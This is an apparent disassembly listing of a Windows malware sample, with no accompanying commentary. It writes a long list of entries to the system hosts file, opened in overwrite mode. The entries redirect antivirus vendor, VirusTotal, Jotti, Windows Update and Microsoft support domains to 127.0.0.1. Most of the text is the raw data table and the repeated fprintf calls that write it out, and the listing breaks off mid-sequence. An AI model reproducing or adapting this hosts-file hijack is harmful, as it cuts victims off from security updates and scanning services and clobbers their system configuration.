		db '127.0.0.1',9,'utils.errorsafe.com',0
		align 4
a127_0_0_1Ulog_	db 0Ah			; DATA XREF: .packed:004041CDo
		db '127.0.0.1',9,'ulog.winantivirus.com',0
		align 4
a127_0_0_1Trial	db 0Ah			; DATA XREF: .packed:004041C2o
		db '127.0.0.1',9,'trial.updates.winsoftware.com',0
		align 4
a127_0_0_1Suppo	db 0Ah			; DATA XREF: .packed:004041BAo
		db '127.0.0.1',9,'support.winantivirus.com',0
a127_0_0_1Secur	db 0Ah			; DATA XREF: .packed:004041B2o
		db '127.0.0.1',9,'secure.winantivirus.com',0
		align 4
a127_0_0_1Sec_0	db 0Ah			; DATA XREF: .packed:004041AAo
		db '127.0.0.1',9,'secure.winantispy.com',0
		align 10h
a127_0_0_1Sec_1	db 0Ah			; DATA XREF: .packed:004041A2o
		db '127.0.0.1',9,'secure.winantispam.com',0
		align 4
a127_0_0_1Sec_2	db 0Ah			; DATA XREF: .packed:0040419Ao
		db '127.0.0.1',9,'secure.errorsafe.com',0
a127_0_0_1Sec_3	db 0Ah			; DATA XREF: .packed:00404192o
		db '127.0.0.1',9,'secure.drivecleaner.com',0
		align 4
a127_0_0_1Se_er	db 0Ah			; DATA XREF: .packed:0040418Ao
		db '127.0.0.1',9,'se.errorsafe.com',0
a127_0_0_1Nl_er	db 0Ah			; DATA XREF: .packed:0040417Fo
		db '127.0.0.1',9,'nl.errorsafe.com',0
a127_0_0_1Kb_wi	db 0Ah			; DATA XREF: .packed:00404177o
		db '127.0.0.1',9,'kb.winantivirus.com',0
		align 10h
a127_0_0_1Kb_er	db 0Ah			; DATA XREF: .packed:0040416Fo
		db '127.0.0.1',9,'kb.errorsafe.com',0
a127_0_0_1Jsp_d	db 0Ah			; DATA XREF: .packed:00404167o
		db '127.0.0.1',9,'jsp.drivecleaner.com',0
a127_0_0_1Instl	db 0Ah			; DATA XREF: .packed:0040415Fo
		db '127.0.0.1',9,'instlog.winfixer.com',0
a127_0_0_1Ins_0	db 0Ah			; DATA XREF: .packed:00404157o
		db '127.0.0.1',9,'instlog.winantivirus.com',0
a127_0_0_1Ins_1	db 0Ah			; DATA XREF: .packed:0040414Fo
		db '127.0.0.1',9,'instlog.errorsafe.com',0
		align 4
a127_0_0_1Hk_wi	db 0Ah			; DATA XREF: .packed:00404147o
		db '127.0.0.1',9,'hk.winantivirus.com',0
		align 4
a127_0_0_1Go_wi	db 0Ah			; DATA XREF: .packed:0040413Co
		db '127.0.0.1',9,'go.winantivirus.com',0
		align 4
a127_0_0_1Go__0	db 0Ah			; DATA XREF: .packed:00404134o
		db '127.0.0.1',9,'go.winantispyware.com',0
		align 4
a127_0_0_1Go_er	db 0Ah			; DATA XREF: .packed:0040412Co
		db '127.0.0.1',9,'go.errorsafe.com',0
a127_0_0_1Go_dr	db 0Ah			; DATA XREF: .packed:00404124o
		db '127.0.0.1',9,'go.drivecleaner.com',0
		align 4
a127_0_0_1Fr_wi	db 0Ah			; DATA XREF: .packed:0040411Co
		db '127.0.0.1',9,'fr.winfixer.com',0
		align 10h
a127_0_0_1Fr__0	db 0Ah			; DATA XREF: .packed:00404114o
		db '127.0.0.1',9,'fr.winantivirus.com',0
		align 10h
a127_0_0_1Es_wi	db 0Ah			; DATA XREF: .packed:0040410Co
		db '127.0.0.1',9,'es.winantivirus.com',0
		align 10h
a127_0_0_1Error	db 0Ah			; DATA XREF: .packed:00404104o
		db '127.0.0.1',9,'errorsafe.com',0
		align 4
a127_0_0_1Err_0	db 0Ah			; DATA XREF: .packed:004040F9o
		db '127.0.0.1',9,'errorprotector.com',0
		align 4
a127_0_0_1Dynam	db 0Ah			; DATA XREF: .packed:004040F1o
		db '127.0.0.1',9,'dynamique.drivecleaner.com',0
		align 4
a127_0_0_1Drive	db 0Ah			; DATA XREF: .packed:004040E9o
		db '127.0.0.1',9,'drivecleaner.com',0
a127_0_0_1Dow_2	db 0Ah			; DATA XREF: .packed:004040E1o
		db '127.0.0.1',9,'download.winfixer.com',0
		align 4
a127_0_0_1Dow_3	db 0Ah			; DATA XREF: .packed:004040D9o
		db '127.0.0.1',9,'download.windrivecleaner.com',0
a127_0_0_1Dow_4	db 0Ah			; DATA XREF: .packed:004040D1o
		db '127.0.0.1',9,'download.winantispyware.com',0
		align 4
a127_0_0_1Dow_5	db 0Ah			; DATA XREF: .packed:004040C9o
		db '127.0.0.1',9,'download.systemdoctor.com',0
		align 4
a127_0_0_1Dow_6	db 0Ah			; DATA XREF: .packed:004040C1o
		db '127.0.0.1',9,'download.errorsafe.com',0
		align 10h
a127_0_0_1Dow_7	db 0Ah			; DATA XREF: .packed:004040B6o
		db '127.0.0.1',9,'download.cdn.winsoftware.com',0
a127_0_0_1Dow_8	db 0Ah			; DATA XREF: .packed:004040AEo
		db '127.0.0.1',9,'download.cdn.errorsafe.com',0
		align 10h
a127_0_0_1Dow_9	db 0Ah			; DATA XREF: .packed:004040A6o
		db '127.0.0.1',9,'download.cdn.drivecleaner.com',0
		align 4
a127_0_0_1De_wi	db 0Ah			; DATA XREF: .packed:00404096o
		db '127.0.0.1',9,'de.winantivirus.com',0
		align 4
a127_0_0_1De_er	db 0Ah			; DATA XREF: .packed:00404086o
		db '127.0.0.1',9,'de.errorsafe.com',0
a127_0_0_1Ww_33	db 0Ah			; DATA XREF: .packed:0040407Eo
					; .packed:0040429Eo
		db '127.0.0.1',9,'www.winsoftware.com',0
		align 4
a127_0_0_1Cdn_w	db 0Ah			; DATA XREF: .packed:00404073o
		db '127.0.0.1',9,'cdn.winsoftware.com',0
		align 4
a127_0_0_1Cdn_e	db 0Ah			; DATA XREF: .packed:00404063o
		db '127.0.0.1',9,'cdn.errorsafe.com',0
		align 4
a127_0_0_1Ww_34	db 0Ah			; DATA XREF: .packed:0040405Bo
					; .packed:00404218o
		db '127.0.0.1',9,'www.drivecleaner.com',0
a127_0_0_1Cdn_d	db 0Ah			; DATA XREF: .packed:00404053o
		db '127.0.0.1',9,'cdn.drivecleaner.com',0
a127_0_0_1Ww_35	db 0Ah			; DATA XREF: .packed:0040404Bo
					; .packed:0040428Bo
		db '127.0.0.1',9,'www.winfixer.com',0
a127_0_0_1Br_wi	db 0Ah			; DATA XREF: .packed:00404043o
		db '127.0.0.1',9,'br.winfixer.com',0
		align 10h
a127_0_0_1Ww_36	db 0Ah			; DATA XREF: .packed:0040403Bo
					; .packed:0040409Eo ...
		db '127.0.0.1',9,'www.winantivirus.com',0
a127_0_0_1Br__0	db 0Ah			; DATA XREF: .packed:00404030o
		db '127.0.0.1',9,'br.winantivirus.com',0
		align 10h
a127_0_0_1Ww_37	db 0Ah			; DATA XREF: .packed:00404028o
					; .packed:0040406Bo ...
		db '127.0.0.1',9,'www.errorsafe.com',0
		align 10h
a127_0_0_1Br_er	db 0Ah			; DATA XREF: .packed:00404020o
		db '127.0.0.1',9,'br.errorsafe.com',0
a127_0_0_1Ww_38	db 0Ah			; DATA XREF: .packed:00404018o
					; .packed:00404220o
		db '127.0.0.1',9,'www.errorprotector.com',0
		align 10h
a127_0_0_1Bin_e	db 0Ah			; DATA XREF: .packed:00404010o
		db '127.0.0.1',9,'bin.errorprotector.com',0
		align 4
a127_0_0_1Ww_39	db 0Ah			; DATA XREF: .packed:00404008o
		db '127.0.0.1',9,'www.mediacount.net',0
		align 4
a127_0_0_1Media	db 0Ah			; DATA XREF: .packed:00404000o
		db '127.0.0.1',9,'mediacount.net',0
		align 10h
a127_0_0_1Ww_40	db 0Ah			; DATA XREF: .packed:00403FE5o
		db '127.0.0.1',9,'www.trustedantivirus.com',0
a127_0_0_1Prote	db 0Ah			; DATA XREF: .packed:00403FDDo
		db '127.0.0.1',9,'protect.trustedantivirus.com',0
a127_0_0_1Www_o	db 0Ah			; DATA XREF: .packed:00403FD5o
		db '127.0.0.1',9,'www.onerateld.com',0
		align 4
a127_0_0_1Conte	db 0Ah			; DATA XREF: .packed:00403FCDo
		db '127.0.0.1',9,'content.onerateld.com',0
		align 10h
a127_0_0_1Avsys	db 0Ah			; DATA XREF: .packed:00403FC5o
		db '127.0.0.1',9,'avsystemcare.com',0
a127_0_0_1Calc_	db 0Ah			; DATA XREF: .packed:00403FBDo
		db '127.0.0.1',9,'calc.avsystemcare.com',0
		align 10h
a127_0_0_1Widep	db 0Ah			; DATA XREF: .packed:00403FB5o
		db '127.0.0.1',9,'wideportal.net',0
		align 4
a127_0_0_1Ww_41	db 0Ah			; DATA XREF: .packed:00403FAAo
		db '127.0.0.1',9,'www.wideportal.net',0
		align 4
a127_0_0_1Iwant	db 0Ah			; DATA XREF: .packed:00403FA2o
					; .packed:00403FEDo
		db '127.0.0.1',9,'iwantsearch.net',0
		align 4
a127_0_0_1Ww_42	db 0Ah			; DATA XREF: .packed:00403F9Ao
					; .packed:00403FF8o
		db '127.0.0.1',9,'www.iwantsearch.net',0
		align 4
a127_0_0_1Sea_1	db 0Ah			; DATA XREF: .packed:00403F92o
		db '127.0.0.1',9,'searchmeup.biz',0
		align 4
a127_0_0_1Ww_43	db 0Ah			; DATA XREF: .packed:00403F8Ao
		db '127.0.0.1',9,'www.searchmeup.biz',0
		align 4
a127_0_0_1Smart	db 0Ah			; DATA XREF: .packed:00403F82o
		db '127.0.0.1',9,'smart-security.biz',0
		align 4
a127_0_0_1Ww_44	db 0Ah			; DATA XREF: .packed:00403F7Ao
		db '127.0.0.1',9,'www.smart-security.biz',0
		align 4
a127_0_0_1Here4	db 0Ah			; DATA XREF: .packed:00403F72o
		db '127.0.0.1',9,'here4search.biz',0
		align 4
a127_0_0_1Www_h	db 0Ah			; DATA XREF: .packed:00403F67o
		db '127.0.0.1',9,'www.here4search.biz',0
		align 4
a127_0_0_1Allof	db 0Ah			; DATA XREF: .packed:00403F5Fo
		db '127.0.0.1',9,'allofyouwant.com',0
a127_0_0_1Ww_45	db 0Ah			; DATA XREF: .packed:00403F57o
		db '127.0.0.1',9,'www.theinstalls.com',0
		align 10h
a127_0_0_1Thein	db 0Ah			; DATA XREF: .packed:00403F4Fo
		db '127.0.0.1',9,'theinstalls.com',0
		align 4
a127_0_0_1Ww_46	db 0Ah			; DATA XREF: .packed:00403F47o
		db '127.0.0.1',9,'www.liveupdatesnet.com',0
		align 10h
a127_0_0_1Liveu	db 0Ah			; DATA XREF: .packed:00403F3Fo
					; .packed:004047E2o
		db '127.0.0.1',9,'liveupdatesnet.com',0
		align 10h
a127_0_0_1Jsp_a	db 0Ah			; DATA XREF: .packed:00403F37o
		db '127.0.0.1',9,'jsp.advancedcleaner.com',0
		align 4
a127_0_0_1Pro_2	db 0Ah			; DATA XREF: .packed:00403F2Fo
		db '127.0.0.1',9,'protect.advancedcleaner.com',0
		align 4
a127_0_0_1Sec_4	db 0Ah			; DATA XREF: .packed:00403F24o
		db '127.0.0.1',9,'secure.advancedcleaner.com',0
		align 4
a127_0_0_1Advan	db 0Ah			; DATA XREF: .packed:00403F1Co
		db '127.0.0.1',9,'advancedcleaner.com',0
		align 4
a127_0_0_1Ww_47	db 0Ah			; DATA XREF: .packed:00403F14o
		db '127.0.0.1',9,'www.advancedcleaner.com',0
		align 4
a127_0_0_1Www3_	db 0Ah			; DATA XREF: .packed:00403F0Co
		db '127.0.0.1',9,'www3.ca.com',0
		align 10h
a127_0_0_1Www_v	db 0Ah			; DATA XREF: .packed:00403F04o
		db '127.0.0.1',9,'www.viruslist.ru',0
a127_0_0_1Www_k	db 0Ah			; DATA XREF: .packed:00403EC1o
		db '127.0.0.1',9,'www.kaspersky.ru',0
a127_0_0_1Ww_48	db 0Ah			; DATA XREF: .packed:00403EB1o
		db '127.0.0.1',9,'www.fastclick.net',0
		align 4
a127_0_0_1Ww_49	db 0Ah			; DATA XREF: .packed:00403E9Eo
		db '127.0.0.1',9,'www.awaps.net',0
		align 4
a127_0_0_1Ww_50	db 0Ah			; DATA XREF: .packed:00403E96o
		db '127.0.0.1',9,'www.avp.ru',0
		align 4
a127_0_0_1Ww_51	db 0Ah			; DATA XREF: .packed:00403E86o
		db '127.0.0.1',9,'www.avp.ch',0
		align 4
a127_0_0_1Windo	db 0Ah			; DATA XREF: .packed:00403E7Eo
		db '127.0.0.1',9,'windowsupdate.microsoft.com',0
		align 4
a127_0_0_1Virus	db 0Ah			; DATA XREF: .packed:00403E76o
		db '127.0.0.1',9,'viruslist.ru',0
a127_0_0_1Vil_n	db 0Ah			; DATA XREF: .packed:00403E6Eo
		db '127.0.0.1',9,'vil.nai.com',0
		align 4
a127_0_0_1Sup_0	db 0Ah			; DATA XREF: .packed:00403E43o
		db '127.0.0.1',9,'support.microsoft.com',0
		align 10h
a127_0_0_1Ww_52	db 0Ah			; DATA XREF: .packed:00403E3Bo
		db '127.0.0.1',9,'www.atwola.com',0
		align 4
a127_0_0_1Cdn_a	db 0Ah			; DATA XREF: .packed:00403E33o
		db '127.0.0.1',9,'cdn.atwola.com',0
		align 4
a127_0_0_1Www_j	db 0Ah			; DATA XREF: .packed:00403E2Bo
		db '127.0.0.1',9,'www.jotti.org',0
		align 4
a127_0_0_1Ww_53	db 0Ah			; DATA XREF: .packed:00403E23o
		db '127.0.0.1',9,'www.virustotal.com',0
		align 4
a127_0_0_1Vir_0	db 0Ah			; DATA XREF: .packed:00403E18o
		db '127.0.0.1',9,'virustotal.com',0
		align 10h
a127_0_0_1Vir_1	db 0Ah			; DATA XREF: .packed:00403E10o
		db '127.0.0.1',9,'virusscan.jotti.org',0
		align 10h
a127_0_0_1Secdr	db 0Ah			; DATA XREF: .packed:00403E08o
		db '127.0.0.1',9,'secdreg.org',0
		align 4
a127_0_0_1Vncsv	db 0Ah			; DATA XREF: .packed:00403E00o
					; .packed:004047BFo
		db '127.0.0.1',9,'vncsvr.com',0
		align 10h
a127_0_0_1Ww_54	db 0Ah			; DATA XREF: .packed:00403DF8o
					; .packed:00403EFCo
		db '127.0.0.1',9,'www.trendmicro.com',0
		align 10h
a127_0_0_1Trend	db 0Ah			; DATA XREF: .packed:00403DF0o
		db '127.0.0.1',9,'trendmicro.com',0
		align 4
a127_0_0_1Rads_	db 0Ah			; DATA XREF: .packed:00403DE8o
		db '127.0.0.1',9,'rads.mcafee.com',0
		align 4
a127_0_0_1Custo	db 0Ah			; DATA XREF: .packed:00403DE0o
		db '127.0.0.1',9,'customer.symantec.com',0
		align 4
a127_0_0_1Liv_0	db 0Ah			; DATA XREF: .packed:00403DD5o
		db '127.0.0.1',9,'liveupdate.symantec.com',0
		align 10h
a127_0_0_1Us_mc	db 0Ah			; DATA XREF: .packed:00403DCDo
					; .packed:00403E66o
		db '127.0.0.1',9,'us.mcafee.com',0
		align 4
a127_0_0_1Upd_1	db 0Ah			; DATA XREF: .packed:00403DC5o
					; .packed:00403E5Bo
		db '127.0.0.1',9,'updates.symantec.com',0
a127_0_0_1Upd_2	db 0Ah			; DATA XREF: .packed:00403DBDo
					; .packed:00403E53o
		db '127.0.0.1',9,'update.symantec.com',0
		align 4
a127_0_0_1Ww_55	db 0Ah			; DATA XREF: .packed:00403DB5o
					; .packed:00403ED9o
		db '127.0.0.1',9,'www.nai.com',0
		align 4
a127_0_0_1Nai_c	db 0Ah			; DATA XREF: .packed:00403DADo
		db '127.0.0.1',9,'nai.com',0
		align 4
a127_0_0_1Sec_5	db 0Ah			; DATA XREF: .packed:00403DA5o
		db '127.0.0.1',9,'secure.nai.com',0
		align 4
a127_0_0_1Dispa	db 0Ah			; DATA XREF: .packed:00403D9Do
		db '127.0.0.1',9,'dispatch.mcafee.com',0
		align 4
a127_0_0_1Do_10	db 0Ah			; DATA XREF: .packed:00403D92o
		db '127.0.0.1',9,'download.mcafee.com',0
		align 4
a127_0_0_1Ww_56	db 0Ah			; DATA XREF: .packed:00403D8Ao
					; .packed:00403ED1o
		db '127.0.0.1',9,'www.my-etrust.com',0
		align 4
a127_0_0_1MyEtr	db 0Ah			; DATA XREF: .packed:00403D82o
		db '127.0.0.1',9,'my-etrust.com',0
		align 10h
a127_0_0_1Mast_	db 0Ah			; DATA XREF: .packed:00403D7Ao
		db '127.0.0.1',9,'mast.mcafee.com',0
		align 4
a127_0_0_1Ca_co	db 0Ah			; DATA XREF: .packed:00403D72o
		db '127.0.0.1',9,'ca.com',0
		align 10h
a127_0_0_1Ww_57	db 0Ah			; DATA XREF: .packed:00403D6Ao
					; .packed:00403EA9o
		db '127.0.0.1',9,'www.ca.com',0
		align 4
a127_0_0_1Netwo	db 0Ah			; DATA XREF: .packed:00403D62o
		db '127.0.0.1',9,'networkassociates.com',0
		align 4
a127_0_0_1Ww_58	db 0Ah			; DATA XREF: .packed:00403D5Ao
					; .packed:00403EE1o
		db '127.0.0.1',9,'www.networkassociates.com',0
		align 4
a127_0_0_1Avp_c	db 0Ah			; DATA XREF: .packed:00403D4Fo
		db '127.0.0.1',9,'avp.com',0
		align 4
a127_0_0_1Ww_59	db 0Ah			; DATA XREF: .packed:00403D3Fo
					; .packed:00403E8Eo
		db '127.0.0.1',9,'www.avp.com',0
		align 10h
a127_0_0_1Kaspe	db 0Ah			; DATA XREF: .packed:00403D37o
		db '127.0.0.1',9,'kaspersky.com',0
		align 4
a127_0_0_1Ww_60	db 0Ah			; DATA XREF: .packed:00403D2Fo
					; .packed:00403EB9o
		db '127.0.0.1',9,'www.f-secure.com',0
a127_0_0_1FSecu	db 0Ah			; DATA XREF: .packed:00403D27o
		db '127.0.0.1',9,'f-secure.com',0
a127_0_0_1Vir_2	db 0Ah			; DATA XREF: .packed:00403D17o
					; .packed:00403D1Fo
		db '127.0.0.1',9,'viruslist.com',0
		align 4
a127_0_0_1Ww_61	db 0Ah			; DATA XREF: .packed:00403D0Co
		db '127.0.0.1',9,'www.viruslist.com',0
		align 4
a127_0_0_1Liv_1	db 0Ah			; DATA XREF: .packed:00403D04o
		db '127.0.0.1',9,'liveupdate.symantecliveupdate.com',0
		align 4
a127_0_0_1Mcafe	db 0Ah			; DATA XREF: .packed:00403CFCo
		db '127.0.0.1',9,'mcafee.com',0
		align 4
a127_0_0_1Ww_62	db 0Ah			; DATA XREF: .packed:00403CF4o
					; .packed:00403EC9o
		db '127.0.0.1',9,'www.mcafee.com',0
		align 10h
a127_0_0_1Sopho	db 0Ah			; DATA XREF: .packed:00403CECo
		db '127.0.0.1',9,'sophos.com',0
		align 4
a127_0_0_1Ww_63	db 0Ah			; DATA XREF: .packed:00403CE4o
					; .packed:00403EECo
		db '127.0.0.1',9,'www.sophos.com',0
		align 4
a127_0_0_1Syman	db 0Ah			; DATA XREF: .packed:00403CDCo
					; .packed:00403E4Bo
		db '127.0.0.1',9,'symantec.com',0
a127_0_0_1Ww_64	db 0Ah			; DATA XREF: .packed:00403CD4o
					; .packed:00403D47o
		db '127.0.0.1',9,'www.kaspersky-labs.com',0
		align 10h
a127_0_0_1Do_11	db 0Ah			; DATA XREF: .packed:00403CC9o
		db '127.0.0.1',9,'downloads5.kaspersky-labs.com',0
		align 4
a127_0_0_1Do_12	db 0Ah			; DATA XREF: .packed:00403CC1o
		db '127.0.0.1',9,'downloads4.kaspersky-labs.com',0
		align 4
a127_0_0_1Do_13	db 0Ah			; DATA XREF: .packed:00403CB9o
		db '127.0.0.1',9,'downloads3.kaspersky-labs.com',0
		align 4
a127_0_0_1Do_14	db 0Ah			; DATA XREF: .packed:00403CB1o
		db '127.0.0.1',9,'downloads2.kaspersky-labs.com',0
		align 10h
a127_0_0_1Do_15	db 0Ah			; DATA XREF: .packed:00403CA9o
		db '127.0.0.1',9,'downloads1.kaspersky-labs.com',0
		align 4
a127_0_0_1Sec_6	db 0Ah			; DATA XREF: .packed:00403CA1o
		db '127.0.0.1',9,'securityresponse.symantec.com',0
		align 4
a127_0_0_1Ww_65	db 0Ah			; DATA XREF: .packed:00403C99o
					; .packed:00403EF4o
		db '127.0.0.1',9,'www.symantec.com',0
a127_0_0_1Local	db 0Ah			; DATA XREF: .packed:00403C91o
		db '127.0.0.1',9,'localhost',0
		align 4
aCWinntSystem32	db 'c:\WINNT\system32\drivers\etc\hosts',0 ; DATA XREF: .packed:00403C59o
					; .packed:00403C77o
aCWindowsSystem	db 'c:\WINDOWS\system32\drivers\etc\hosts',0 ; DATA XREF: .packed:00403C10o
					; .packed:00403C37o
		align 4
aW:					; DATA XREF: .packed:00403C0Bo
					; .packed:00403C32o ...
		unicode	0, <w>,0
		align 10h


loc_403BA0:				; CODE XREF: fq0epazq:00406E00j
		sub	esp, 0A0h
		push	esi
		mov	esi, dword_401000
		push	edi
		mov	ecx, 27h
		xor	eax, eax
		lea	edi, [esp+0Ch]
		rep stosd
		lea	eax, [esp+0Ch]
		mov	dword ptr [esp+0Ch], 9Ch
		push	eax
		call	esi	; GetVersionExA
		test	eax, eax
		jnz	short loc_403BE5
		lea	ecx, [esp+0Ch]
		mov	dword ptr [esp+0Ch], 94h
		push	ecx
		call	esi	; GetVersionExA
		test	eax, eax
		jz	loc_4048CD


loc_403BE5:				; CODE XREF: .packed:00403BCCj
		mov	ecx, [esp+1Ch]
		mov	eax, 2
		cmp	ecx, eax
		jnz	loc_4048CD
		mov	ecx, [esp+10h]
		mov	edi, dword_401008+4
		cmp	ecx, 5
		jnz	short loc_403C67
		cmp	[esp+14h], eax
		jnz	short loc_403C27
		push	offset aW	; "w"
		push	offset aCWindowsSystem ; "c:\\WINDOWS\\system32\\drivers\\etc\\hosts"
		call	edi
		mov	esi, eax
		mov	eax, [esp+18h]
		add	esp, 8
		cmp	eax, 5
		jnz	short loc_403C6B
		jmp	short loc_403C2B
; ---------------------------------------------------------------------------


loc_403C27:				; CODE XREF: .packed:00403C09j
		mov	esi, [esp+8]


loc_403C2B:				; CODE XREF: .packed:00403C25j
		cmp	dword ptr [esp+14h], 1
		jnz	short loc_403C4C
		push	offset aW	; "w"
		push	offset aCWindowsSystem ; "c:\\WINDOWS\\system32\\drivers\\etc\\hosts"
		call	edi
		mov	esi, eax
		mov	eax, [esp+18h]
		add	esp, 8
		cmp	eax, 5
		jnz	short loc_403C6B


loc_403C4C:				; CODE XREF: .packed:00403C30j
		mov	eax, [esp+14h]
		test	eax, eax
		jnz	short loc_403C83
		push	offset aW	; "w"
		push	offset aCWinntSystem32 ; "c:\\WINNT\\system32\\drivers\\etc\\hosts"
		call	edi
		add	esp, 8
		mov	esi, eax
		jmp	short loc_403C6B
; ---------------------------------------------------------------------------


loc_403C67:				; CODE XREF: .packed:00403C03j
		mov	esi, [esp+8]


loc_403C6B:				; CODE XREF: .packed:00403C23j
					; .packed:00403C4Aj ...
		cmp	dword ptr [esp+10h], 4
		ja	short loc_403C83
		push	offset aW	; "w"
		push	offset aCWinntSystem32 ; "c:\\WINNT\\system32\\drivers\\etc\\hosts"
		call	edi
		add	esp, 8
		mov	esi, eax


loc_403C83:				; CODE XREF: .packed:00403C52j
					; .packed:00403C70j
		test	esi, esi
		jz	loc_4048CD
		mov	edi, dword_401008
		push	offset a127_0_0_1Local ; "\n127.0.0.1\tlocalhost"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_65 ; "\n127.0.0.1\twww.symantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_6 ; "\n127.0.0.1\tsecurityresponse.symantec.co"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Do_15 ; "\n127.0.0.1\tdownloads1.kaspersky-labs.co"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Do_14 ; "\n127.0.0.1\tdownloads2.kaspersky-labs.co"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Do_13 ; "\n127.0.0.1\tdownloads3.kaspersky-labs.co"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Do_12 ; "\n127.0.0.1\tdownloads4.kaspersky-labs.co"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Do_11 ; "\n127.0.0.1\tdownloads5.kaspersky-labs.co"...
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_64 ; "\n127.0.0.1\twww.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Syman ; "\n127.0.0.1\tsymantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_63 ; "\n127.0.0.1\twww.sophos.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sopho ; "\n127.0.0.1\tsophos.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_62 ; "\n127.0.0.1\twww.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Mcafe ; "\n127.0.0.1\tmcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Liv_1 ; "\n127.0.0.1\tliveupdate.symantecliveupdat"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_61 ; "\n127.0.0.1\twww.viruslist.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Vir_2 ; "\n127.0.0.1\tviruslist.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Vir_2 ; "\n127.0.0.1\tviruslist.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1FSecu ; "\n127.0.0.1\tf-secure.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_60 ; "\n127.0.0.1\twww.f-secure.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Kaspe ; "\n127.0.0.1\tkaspersky.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_59 ; "\n127.0.0.1\twww.avp.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_64 ; "\n127.0.0.1\twww.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Avp_c ; "\n127.0.0.1\tavp.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_58 ; "\n127.0.0.1\twww.networkassociates.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Netwo ; "\n127.0.0.1\tnetworkassociates.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_57 ; "\n127.0.0.1\twww.ca.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ca_co ; "\n127.0.0.1\tca.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Mast_ ; "\n127.0.0.1\tmast.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1MyEtr ; "\n127.0.0.1\tmy-etrust.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_56 ; "\n127.0.0.1\twww.my-etrust.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Do_10 ; "\n127.0.0.1\tdownload.mcafee.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dispa ; "\n127.0.0.1\tdispatch.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_5 ; "\n127.0.0.1\tsecure.nai.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Nai_c ; "\n127.0.0.1\tnai.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_55 ; "\n127.0.0.1\twww.nai.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Upd_2 ; "\n127.0.0.1\tupdate.symantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Upd_1 ; "\n127.0.0.1\tupdates.symantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Us_mc ; "\n127.0.0.1\tus.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Liv_0 ; "\n127.0.0.1\tliveupdate.symantec.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Custo ; "\n127.0.0.1\tcustomer.symantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Rads_ ; "\n127.0.0.1\trads.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Trend ; "\n127.0.0.1\ttrendmicro.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_54 ; "\n127.0.0.1\twww.trendmicro.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Vncsv ; "\n127.0.0.1\tvncsvr.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Secdr ; "\n127.0.0.1\tsecdreg.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Vir_1 ; "\n127.0.0.1\tvirusscan.jotti.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Vir_0 ; "\n127.0.0.1\tvirustotal.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_53 ; "\n127.0.0.1\twww.virustotal.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_j ; "\n127.0.0.1\twww.jotti.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Cdn_a ; "\n127.0.0.1\tcdn.atwola.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_52 ; "\n127.0.0.1\twww.atwola.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sup_0 ; "\n127.0.0.1\tsupport.microsoft.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Syman ; "\n127.0.0.1\tsymantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Upd_2 ; "\n127.0.0.1\tupdate.symantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Upd_1 ; "\n127.0.0.1\tupdates.symantec.com"
		push	esi
		call	edi	; fprintf
